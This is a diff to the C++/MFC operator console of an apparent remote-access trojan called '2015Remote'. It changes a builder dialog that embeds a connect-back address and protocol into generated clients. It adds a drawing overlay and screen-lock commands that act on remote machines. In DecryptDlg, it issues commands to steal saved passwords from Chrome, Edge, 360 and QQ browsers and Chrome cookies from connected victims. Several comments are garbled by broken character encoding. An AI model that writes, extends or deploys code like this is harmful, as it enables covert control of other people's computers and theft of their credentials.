+	CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);   // <20><>׼<EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
 	virtual ~CAudioDlg();
-	CONTEXT_OBJECT* m_ContextObject;
-	IOCPServer*     m_iocpServer;
-	HICON          m_hIcon;
-	CString       m_strIPAddress;
+
 	DWORD         m_nTotalRecvBytes;
 	BOOL          m_bIsWorking;
 	BOOL		  m_bThreadRun;
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -73,6 +73,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
 	DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
 	DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
 	DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
+	DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto);
 }


@@ -148,6 +149,7 @@ void CBuildDlg::OnBnClickedOk()
 	CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV1 };
 	g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
 	g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
+	g_ConnectAddress.protoType = m_ComboProto.GetCurSel();

 	if (!g_ConnectAddress.IsValid()) {
 		SAFE_DELETE_ARRAY(szBuffer);
@@ -257,6 +259,10 @@ BOOL CBuildDlg::OnInitDialog()
 	m_ComboRunType.InsertString(RUNNING_PARALLEL, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
 	m_ComboRunType.SetCurSel(RUNNING_RANDOM);

+	m_ComboProto.InsertString(PROTO_TCP, "TCP");
+	m_ComboProto.InsertString(PROTO_UDP, "UDP");
+	m_ComboProto.SetCurSel(PROTO_TCP);
+
 	m_OtherItem.ShowWindow(SW_HIDE);

 	return TRUE;  // return TRUE unless you set the focus to a control
--- a/server/2015Remote/BuildDlg.h
+++ b/server/2015Remote/BuildDlg.h
@@ -33,4 +33,5 @@ public:
 	CStatic m_OtherItem;
 	CComboBox m_ComboBits;
 	CComboBox m_ComboRunType;
+	CComboBox m_ComboProto;
 };
--- a/server/2015Remote/CDrawingBoard.cpp
+++ b/server/2015Remote/CDrawingBoard.cpp
@@ -0,0 +1,340 @@
+#include "stdafx.h"
+#include "CDrawingBoard.h"
+#include "afxdialogex.h"
+#include "Resource.h"
+
+IMPLEMENT_DYNAMIC(CDrawingBoard, CDialog)
+
+CDrawingBoard::CDrawingBoard(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
+	: DialogBase(IDD_DRAWING_BOARD, pParent, IOCPServer, ContextObject, IDI_ICON_DRAWING), 
+	m_bDrawing(false)
+{
+	m_bTopMost = true;
+	m_bTransport = true;
+	m_bMoving = false;
+	m_bSizing = false;
+	m_pInputEdit = nullptr;
+}
+
+CDrawingBoard::~CDrawingBoard()
+{
+	if (m_pInputEdit != nullptr) {
+		m_pInputEdit->DestroyWindow();
+		delete m_pInputEdit;
+		m_pInputEdit = nullptr;
+	}
+	if (m_font.GetSafeHandle())
+		m_font.DeleteObject();
+	if (m_pen.GetSafeHandle())
+		m_pen.DeleteObject();
+}
+
+void CDrawingBoard::DoDataExchange(CDataExchange* pDX)
+{
+	CDialog::DoDataExchange(pDX);
+}
+
+BEGIN_MESSAGE_MAP(CDrawingBoard, CDialog)
+	ON_WM_CLOSE()
+	ON_WM_SIZE()
+	ON_WM_PAINT()
+	ON_WM_LBUTTONDOWN()
+	ON_WM_MOUSEMOVE()
+	ON_WM_LBUTTONUP()
+	ON_WM_WINDOWPOSCHANGED()
+	ON_WM_RBUTTONDOWN()
+	ON_COMMAND(ID_DRAWING_TOPMOST, &CDrawingBoard::OnDrawingTopmost)
+	ON_COMMAND(ID_DRAWING_TRANSPORT, &CDrawingBoard::OnDrawingTransport)
+	ON_COMMAND(ID_DRAWING_MOVE, &CDrawingBoard::OnDrawingMove)
+	ON_COMMAND(ID_DRAWING_SIZE, &CDrawingBoard::OnDrawingSize)
+	ON_COMMAND(IDM_CLEAR_DRAWING, &CDrawingBoard::OnDrawingClear)
+	ON_COMMAND(ID_DRAWING_TEXT, &CDrawingBoard::OnDrawingText)
+END_MESSAGE_MAP()
+
+void CDrawingBoard::OnReceiveComplete()
+{
+	// 接收时处理逻辑（暂空）
+}
+
+void CDrawingBoard::OnClose()
+{
+	CancelIO();
+	if (IsProcessing()) {
+		ShowWindow(SW_HIDE);
+		return;
+	}
+	DialogBase::OnClose();
+}
+
+void CDrawingBoard::OnPaint()
+{
+	CPaintDC dc(this);
+
+	CPen* pOldPen = dc.SelectObject(&m_pen);
+
+	for (const auto& path : m_paths)
+	{
+		if (path.size() < 2) continue;
+
+		dc.MoveTo(path[0]);
+		for (size_t i = 1; i < path.size(); ++i)
+			dc.LineTo(path[i]);
+	}
+
+	if (m_bDrawing && m_currentPath.size() >= 2)
+	{
+		dc.MoveTo(m_currentPath[0]);
+		for (size_t i = 1; i < m_currentPath.size(); ++i)
+			dc.LineTo(m_currentPath[i]);
+	}
+
+	CFont* pOldFont = dc.SelectObject(&m_font);
+	dc.SetTextColor(RGB(0, 0, 0));
+	dc.SetBkMode(TRANSPARENT);
+
+	for (const auto& entry : m_Texts)
+		dc.TextOut(entry.first.x, entry.first.y, entry.second);
+
+	dc.SelectObject(pOldFont);
+
+	dc.SelectObject(pOldPen);
+}
+
+void CDrawingBoard::OnLButtonDown(UINT nFlags, CPoint point)
+{
+	m_bDrawing = true;
+	m_currentPath.clear();
+	m_currentPath.push_back(point);
+
+	SetCapture();
+}
+
+void CDrawingBoard::OnMouseMove(UINT nFlags, CPoint point)
+{
+	if (m_bDrawing)
+	{
+		m_currentPath.push_back(point);
+		Invalidate(FALSE);
+
+		// 发送当前点
+		BYTE pkg[1 + sizeof(POINT)] = { CMD_DRAW_POINT };
+		memcpy(pkg + 1, &point, sizeof(POINT));
+		m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg));
+	}
+}
+
+void CDrawingBoard::OnLButtonUp(UINT nFlags, CPoint point)
+{
+	if (m_bDrawing)
+	{
+		m_bDrawing = false;
+		m_currentPath.push_back(point);
+		ReleaseCapture();
+
+		m_paths.push_back(m_currentPath);
+		Invalidate();
+
+		// 发送结束命令，表示当前路径完成
+		BYTE endCmd = CMD_DRAW_END;
+		m_ContextObject->Send2Client(&endCmd, 1);
+	}
+}
+
+void CDrawingBoard::OnWindowPosChanged(WINDOWPOS* lpwndpos)
+{
+	CDialog::OnWindowPosChanged(lpwndpos);
+	if (!m_bMoving) return;
+
+	CRect rect;
+	GetWindowRect(&rect);  // 获取当前窗口屏幕位置
+	BYTE pkg[1 + sizeof(CRect)] = { CMD_MOVEWINDOW };
+	if (!m_bSizing) {
+		rect.right = rect.left;
+		rect.bottom = rect.top;
+	}
+	memcpy(pkg + 1, &rect, sizeof(CRect));
+	m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg));
+}
+
+void CDrawingBoard::OnSize(UINT nType, int cx, int cy)
+{
+	CDialog::OnSize(nType, cx, cy);
+	if (!m_bSizing) return;
+
+	// 发送新的窗口尺寸到客户端
+	int sizeData[2] = { cx, cy };
+	BYTE pkg[sizeof(sizeData) + 1] = { CMD_SET_SIZE };
+	memcpy(pkg + 1, &sizeData, sizeof(sizeData));
+	m_ContextObject->Send2Client((PBYTE)pkg, sizeof(pkg));
+}
+
+void CDrawingBoard::OnDrawingTopmost()
+{
+	m_bTopMost = !m_bTopMost;
+	BYTE cmd[2] = { CMD_TOPMOST, m_bTopMost };
+	m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
+	HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
+	int n = m_bTopMost ? MF_CHECKED : MF_UNCHECKED;
+	::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | n);
+}
+
+
+void CDrawingBoard::OnDrawingTransport()
+{
+	m_bTransport = !m_bTransport;
+	BYTE cmd[2] = { CMD_TRANSPORT, m_bTransport ? 150 : 255 };
+	m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
+	HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
+	int n = m_bTransport ? MF_CHECKED : MF_UNCHECKED;
+	::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | n);
+}
+
+
+void CDrawingBoard::OnDrawingMove()
+{
+	m_bMoving = !m_bMoving;
+	HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
+	int cmd = m_bMoving ? MF_CHECKED : MF_UNCHECKED;
+	::CheckMenuItem(hMenu, ID_DRAWING_MOVE, MF_BYCOMMAND | cmd);
+}
+
+
+void CDrawingBoard::OnDrawingSize()
+{
+	m_bSizing = !m_bSizing;
+	HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
+	int cmd = m_bSizing ? MF_CHECKED : MF_UNCHECKED;
+	::CheckMenuItem(hMenu, ID_DRAWING_SIZE, MF_BYCOMMAND | cmd);
+}
+
+
+BOOL CDrawingBoard::OnInitDialog()
+{
+	DialogBase::OnInitDialog();
+
+	SetIcon(m_hIcon, TRUE);
+	SetIcon(m_hIcon, FALSE);
+
+	CString str;
+	str.Format("%s - 画板演示", m_IPAddress);
+	SetWindowText(str);
+
+	m_font.CreateFont(
+		20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
+		DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
+		DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
+
+	m_pen.CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
+
+	HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
+	::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | MF_CHECKED);
+	::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | MF_CHECKED);
+
+	return TRUE;
+}
+
+
+void CDrawingBoard::OnDrawingClear()
+{
+	m_paths.clear();
+	m_currentPath.clear();
+	m_Texts.clear();
+	BYTE cmd[2] = { CMD_DRAW_CLEAR, 0 };
+	m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
+	if (m_hWnd && IsWindow(m_hWnd))
+		::InvalidateRect(m_hWnd, NULL, TRUE);  // 重绘整个窗口，清除痕迹
+}
+
+void CDrawingBoard::OnRButtonDown(UINT nFlags, CPoint point)
+{
+	m_RightClickPos = point;			// 记录鼠标点
+	ClientToScreen(&m_RightClickPos);	// 变为屏幕坐标
+
+	CMenu menu;
+	menu.LoadMenu(IDR_MENU_POPUP);
+	CMenu* pSubMenu = menu.GetSubMenu(0);
+
+	if (pSubMenu)
+		pSubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, m_RightClickPos.x, m_RightClickPos.y, this);
+
+	CDialog::OnRButtonDown(nFlags, point);
+}
+
+
+void CDrawingBoard::OnDrawingText()
+{
+	if (m_pInputEdit != nullptr) {
+		m_pInputEdit->DestroyWindow();
+		delete m_pInputEdit;
+		m_pInputEdit = nullptr;
+	}
+
+	CPoint ptClient = m_RightClickPos;
+	ScreenToClient(&ptClient);
+
+	m_pInputEdit = new CEdit();
+	m_pInputEdit->Create(WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
+		CRect(ptClient.x, ptClient.y, ptClient.x + 200, ptClient.y + 25),
+		this, 1234); // 控件 ID 可自定
+	m_pInputEdit->SetFocus();
+}
+
+BOOL CDrawingBoard::PreTranslateMessage(MSG* pMsg)
+{
+	if (m_pInputEdit && pMsg->hwnd == m_pInputEdit->m_hWnd)
+	{
+		if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN)
+		{
+			CString strText;
+			m_pInputEdit->GetWindowText(strText);
+
+			// TODO: 将文字位置和内容加入列表并触发绘图
+			if (!strText.IsEmpty()) {
+				CPoint ptClient = m_RightClickPos;
+				ScreenToClient(&ptClient);
+				m_Texts.push_back(std::make_pair(ptClient, strText));
+				SendTextsToRemote(ptClient, strText);
+			}
+
+			m_pInputEdit->DestroyWindow();
+			delete m_pInputEdit;
+			m_pInputEdit = nullptr;
+
+			return TRUE; // 吞掉回车
+		}
+	}
+	return CDialog::PreTranslateMessage(pMsg);
+}
+
+void CDrawingBoard::SendTextsToRemote(const CPoint& pt, const CString& text)
+{
+	if (text.IsEmpty()) return;
+
+	// 1. 转换为 UTF-8
+	// CString 是 TCHAR 类型，若项目是多字节字符集，则需先转为宽字符
+#ifdef _UNICODE
+	LPCWSTR lpWideStr = text;
+#else
+	// 从 ANSI 转为宽字符
+	int wideLen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
+	std::wstring wideStr(wideLen, 0);
+	MultiByteToWideChar(CP_ACP, 0, text, -1, &wideStr[0], wideLen);
+	LPCWSTR lpWideStr = wideStr.c_str();
+#endif
+
+	int utf8Len = WideCharToMultiByte(CP_UTF8, 0, lpWideStr, -1, NULL, 0, NULL, NULL);
+	if (utf8Len <= 1) return;  // 空或失败
+
+	std::vector<char> utf8Text(utf8Len - 1); // 去掉末尾的 \0
+	WideCharToMultiByte(CP_UTF8, 0, lpWideStr, -1, utf8Text.data(), utf8Len - 1, NULL, NULL);
+
+	// 2. 构造发送 buffer
+	std::vector<char> buffer;
+	buffer.push_back(CMD_DRAW_TEXT); // 自定义命令码
+
+	buffer.insert(buffer.end(), (char*)&pt, (char*)&pt + sizeof(CPoint));
+	buffer.insert(buffer.end(), utf8Text.begin(), utf8Text.end());
+
+	// 3. 发送
+	m_ContextObject->Send2Client((LPBYTE)buffer.data(), (ULONG)buffer.size());
+}
--- a/server/2015Remote/CDrawingBoard.h
+++ b/server/2015Remote/CDrawingBoard.h
@@ -0,0 +1,61 @@
+#pragma once
+#include "IOCPServer.h"
+#include "afxwin.h"
+
+// CDrawingBoard 对话框
+
+class CDrawingBoard : public DialogBase
+{
+	DECLARE_DYNAMIC(CDrawingBoard)
+
+public:
+	CDrawingBoard(CWnd* pParent = nullptr, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
+	virtual ~CDrawingBoard();
+
+#ifdef AFX_DESIGN_TIME
+	enum { IDD = IDD_DRAWING_BOARD };
+#endif
+
+	VOID OnReceiveComplete();
+
+	afx_msg void OnPaint();
+	afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
+	afx_msg void OnMouseMove(UINT nFlags, CPoint point);
+	afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
+	afx_msg void OnWindowPosChanged(WINDOWPOS* lpwndpos);
+	afx_msg void OnSize(UINT nType, int cx, int cy);
+	afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
+
+protected:
+	virtual void DoDataExchange(CDataExchange* pDX);
+
+	void OnClose();
+
+	DECLARE_MESSAGE_MAP()
+
+	BOOL PreTranslateMessage(MSG* pMsg);
+
+	void SendTextsToRemote(const CPoint& pt, const CString& inputText);
+
+private:
+	bool m_bTopMost;							 // 置顶
+	bool m_bTransport;							 // 半透明
+	bool m_bMoving;								 // 位置跟随
+	bool m_bSizing;								 // 大小跟随
+	bool m_bDrawing;                             // 是否正在绘图
+	std::vector<CPoint> m_currentPath;           // 当前路径点
+	std::vector<std::vector<CPoint>> m_paths;    // 所有路径
+	CPoint m_RightClickPos;						 // 右键点击位置
+	CEdit* m_pInputEdit = nullptr;				 // 类成员变量
+	std::vector<std::pair<CPoint, CString>> m_Texts;
+	CFont m_font;								 // 添加字体成员
+	CPen m_pen;									 // 画笔
+public:
+	afx_msg void OnDrawingTopmost();
+	afx_msg void OnDrawingTransport();
+	afx_msg void OnDrawingMove();
+	afx_msg void OnDrawingSize();
+	virtual BOOL OnInitDialog();
+	afx_msg void OnDrawingClear();
+	afx_msg void OnDrawingText();
+};
--- a/server/2015Remote/CPasswordDlg.cpp
+++ b/server/2015Remote/CPasswordDlg.cpp
@@ -29,6 +29,11 @@ std::string GetMasterId() {
 	return id;
 }

+std::string GetHMAC(int offset) {
+	const Validation * v= (Validation*)(g_MasterID + offset);
+	return v->Checksum;
+}
+
 extern "C" void shrink64to32(const char* input64, char* output32);  // output32 必须至少 33 字节

 extern "C" void shrink32to4(const char* input32, char* output4);    // output4 必须至少 5 字节
--- a/server/2015Remote/CPasswordDlg.h
+++ b/server/2015Remote/CPasswordDlg.h
@@ -16,6 +16,8 @@ const Validation* GetValidation(int offset=100);

 std::string GetMasterId();

+std::string GetHMAC(int offset=100);
+
 bool IsPwdHashValid(const char* pwdHash = nullptr);

 bool WritePwdHash(char* target, const std::string& pwdHash, const Validation &verify);
--- a/server/2015Remote/Chat.cpp
+++ b/server/2015Remote/Chat.cpp
@@ -13,13 +13,9 @@
 // CChat dialog


-CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
-    : DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, 0)
+CChat::CChat(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
+    : DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT)
 {
-    m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_CHAT));
-    m_iocpServer = pIOCPServer;
-    m_pContext = pContext;
-    m_bOnClose = FALSE;
 }


@@ -51,13 +47,13 @@ BOOL CChat::OnInitDialog()
    CDialog::OnInitDialog();

    CString str;
-    str.Format(_T("Զ<EFBFBD>̽<EFBFBD≯ - %s"), m_pContext->PeerName.c_str()),
+    str.Format(_T("Զ<EFBFBD>̽<EFBFBD≯ - %s"), m_ContextObject->PeerName.c_str()),
               SetWindowText(str);
    m_editTip.SetWindowText(_T("<EFBFBD><EFBFBD>ʾ: <20>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD>Żᵯ<C5BB><E1B5AF>"));
    m_editNewMsg.SetLimitText(4079);
    // TODO: Add extra initialization here
    BYTE bToken = COMMAND_NEXT_CHAT;
-    m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
+    m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
    SetIcon(m_hIcon, TRUE);			// Set big icon
    SetIcon(m_hIcon, FALSE);		// Set small icon

@@ -71,8 +67,8 @@ void CChat::OnReceive()

 void CChat::OnReceiveComplete()
 {
-    m_pContext->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1);
-    char* strResult = (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(0);
+    m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1);
+    char* strResult = (char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
    SYSTEMTIME st;
    GetLocalTime(&st);
    char Text[5120] = { 0 };
@@ -93,7 +89,7 @@ void CChat::OnButtonSend()
        return; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢΪ<CFA2>ղ<EFBFBD><D5B2><EFBFBD><EFBFBD><EFBFBD>
    }
    m_editTip.ShowWindow(SW_HIDE);
-    m_iocpServer->Send(m_pContext, (LPBYTE)str, lstrlen(str) + sizeof(char));
+    m_ContextObject->Send2Client((LPBYTE)str, lstrlen(str) + sizeof(char));
    SYSTEMTIME st;
    GetLocalTime(&st);
    char Text[5120] = { 0 };
@@ -114,7 +110,12 @@ void CChat::OnButtonEnd()

 void CChat::OnClose()
 {
-	m_ContextObject->CancelIO();
+    CancelIO();
+	// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	if (IsProcessing()) {
+		ShowWindow(SW_HIDE);
+		return;
+	}

 	CDialogBase::OnClose();
 }
@@ -140,7 +141,7 @@ HBRUSH CChat::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)

 void CChat::PostNcDestroy()
 {
-    if (!m_bOnClose)
+    if (!m_bIsClosed)
        OnCancel();
    CDialog::PostNcDestroy();
    delete this;
@@ -170,11 +171,11 @@ void CChat::OnBnClickedButton_LOCK()
 {

    BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
-    m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
+    m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 }

 void CChat::OnBnClickedButton_UNLOCK()
 {
    BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
-    m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
+    m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 }
--- a/server/2015Remote/Chat.h
+++ b/server/2015Remote/Chat.h
@@ -9,7 +9,7 @@ class CChat : public DialogBase
 {
    // Construction
 public:
-    CChat(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
+    CChat(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
    void OnReceiveComplete();
    void OnReceive();

@@ -24,8 +24,6 @@ protected:

 // Implementation
 protected:
-    ClientContext* m_pContext;
-    ISocketBase* m_iocpServer;

    virtual BOOL OnInitDialog();
    afx_msg void OnButtonSend();
@@ -36,9 +34,7 @@ protected:
    afx_msg void OnKillfocusEditChatLog();

    DECLARE_MESSAGE_MAP()
-private:
-    HICON m_hIcon;
-    BOOL m_bOnClose;
+
 public:
    CEdit m_editTip;
    CEdit m_editNewMsg;
--- a/server/2015Remote/CpuUseage.cpp
+++ b/server/2015Remote/CpuUseage.cpp
@@ -1,55 +0,0 @@
-#include "stdafx.h"
-#include "CpuUseage.h"
-
-//ϵͳ<CFB5><CDB3><EFBFBD>ܼ<EFBFBD><DCBC><EFBFBD><EFBFBD><EFBFBD>
-CCpuUsage::CCpuUsage()
-{
-	m_hQuery = NULL;
-	m_pCounterStruct = NULL;
-
-}
-
-CCpuUsage::~CCpuUsage()
-{
-	PdhCloseQuery(m_hQuery);   //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
-	if (m_pCounterStruct)
-		delete m_pCounterStruct;
-}
-
-
-BOOL CCpuUsage::Init()
-{
-	if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery))   //<2F>򿪼<EFBFBD><F2BFAABC><EFBFBD><EFBFBD><EFBFBD>
-		return FALSE;
-
-	m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
-
-	//ͳ<>Ƹ<EFBFBD><C6B8><EFBFBD>Ȥ<EFBFBD><C8A4>ϵͳ<CFB5><CDB3>Ϣʱ<CFA2><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD><EFBFBD>Ӧ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD><EFBFBD>
-	PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName, 
-		(DWORD_PTR) m_pCounterStruct, &(m_pCounterStruct->hCounter));
-	if (ERROR_SUCCESS != pdh_status) 
-	{
-		return FALSE;
-	}
-
-	return TRUE;
-}
-
-
-int CCpuUsage::GetUsage()
-{
-	PDH_FMT_COUNTERVALUE pdhFormattedValue;
-
-	PdhCollectQueryData(m_hQuery);
-
-	//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
-	if (ERROR_SUCCESS != PdhGetFormattedCounterValue(m_pCounterStruct->hCounter,
-		PDH_FMT_LONG,
-		NULL,
-		&pdhFormattedValue )) 
-	{
-		return 0;
-	}
-
-	return pdhFormattedValue.longValue;
-}
--- a/server/2015Remote/CpuUseage.h
+++ b/server/2015Remote/CpuUseage.h
@@ -1,34 +0,0 @@
-#pragma once
-
-#include <pdh.h>
-#include <pdhmsg.h>
-
-#pragma comment(lib,"PDH.lib")
-
-#define MAX_RAW_VALUES          20
-
-//process <20><>Ŀ<EFBFBD>µ<EFBFBD>% Processor Time<6D><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǹ<EFBFBD><C7B9>ڽ<EFBFBD><DABD><EFBFBD>CPUʹ<55>ʵ<EFBFBD>
-const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
-
-typedef struct _tag_PDHCounterStruct {
-	HCOUNTER hCounter;   
-	int nNextIndex;         
-	int nOldestIndex;     
-	int nRawCount;          
-	PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES]; 
-} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
-
-
-class CCpuUsage  
-{
-public:
-	CCpuUsage();
-	virtual ~CCpuUsage();
-	BOOL	Init();
-	int     GetUsage();
-
-protected:
-
-	PPDHCOUNTERSTRUCT			m_pCounterStruct;
-	HQUERY						m_hQuery;
-};
--- a/server/2015Remote/DecryptDlg.cpp
+++ b/server/2015Remote/DecryptDlg.cpp
@@ -4,7 +4,7 @@

 IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)

-DecryptDlg::DecryptDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
+DecryptDlg::DecryptDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
 	: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT) {
 }

@@ -41,7 +41,7 @@ BOOL DecryptDlg::OnInitDialog() {
 	SetWindowText(str);

 	BYTE bToken = COMMAND_NEXT;
-	m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+	m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 	m_EditDecrypedResult.SetWindowTextA(CString("<<< <20><>ʾ: <20><><EFBFBD>ڲ˵<DAB2>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> >>>\r\n"));
 	int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA();
 	m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel);
@@ -60,8 +60,12 @@ VOID DecryptDlg::OnReceiveComplete() {
 }

 void DecryptDlg::OnClose() {
-	m_ContextObject->CancelIO();
-
+	CancelIO();
+	// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	if (IsProcessing()) {
+		ShowWindow(SW_HIDE);
+		return;
+	}
 	CDialogBase::OnClose();
 }

@@ -78,40 +82,40 @@ void DecryptDlg::OnSize(UINT nType, int cx, int cy)
 void DecryptDlg::OnDecryptChrome()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_GetChromePassWord };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }


 void DecryptDlg::OnDecryptEdge()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_GetEdgePassWord };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }


 void DecryptDlg::OnDecryptSpeed360()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_GetSpeed360PassWord };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }


 void DecryptDlg::OnDecrypt360()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_Get360sePassWord };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }


 void DecryptDlg::OnDecryptQQ()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_GetQQBroPassWord };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }


 void DecryptDlg::OnDecryptChromeCookies()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_GetChromeCookies };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }
--- a/server/2015Remote/DecryptDlg.h
+++ b/server/2015Remote/DecryptDlg.h
@@ -8,7 +8,7 @@ class DecryptDlg : public CDialogBase
 	DECLARE_DYNAMIC(DecryptDlg)

 public:
-	DecryptDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
+	DecryptDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
 	virtual ~DecryptDlg();

 	VOID OnReceiveComplete();
--- a/server/2015Remote/FileManagerDlg.cpp
+++ b/server/2015Remote/FileManagerDlg.cpp
@@ -19,6 +19,9 @@ static UINT indicators[] =
 	ID_SEPARATOR
 };

+#define MAX_SEND_BUFFER		65535
+#define	MAX_RECV_BUFFER		65535
+
 typedef struct {
 	LVITEM* plvi;
 	CString sCol2;
@@ -35,8 +38,8 @@ float GetScreenScalingFactor() {
 	return dpiX / 96.0f;
 }

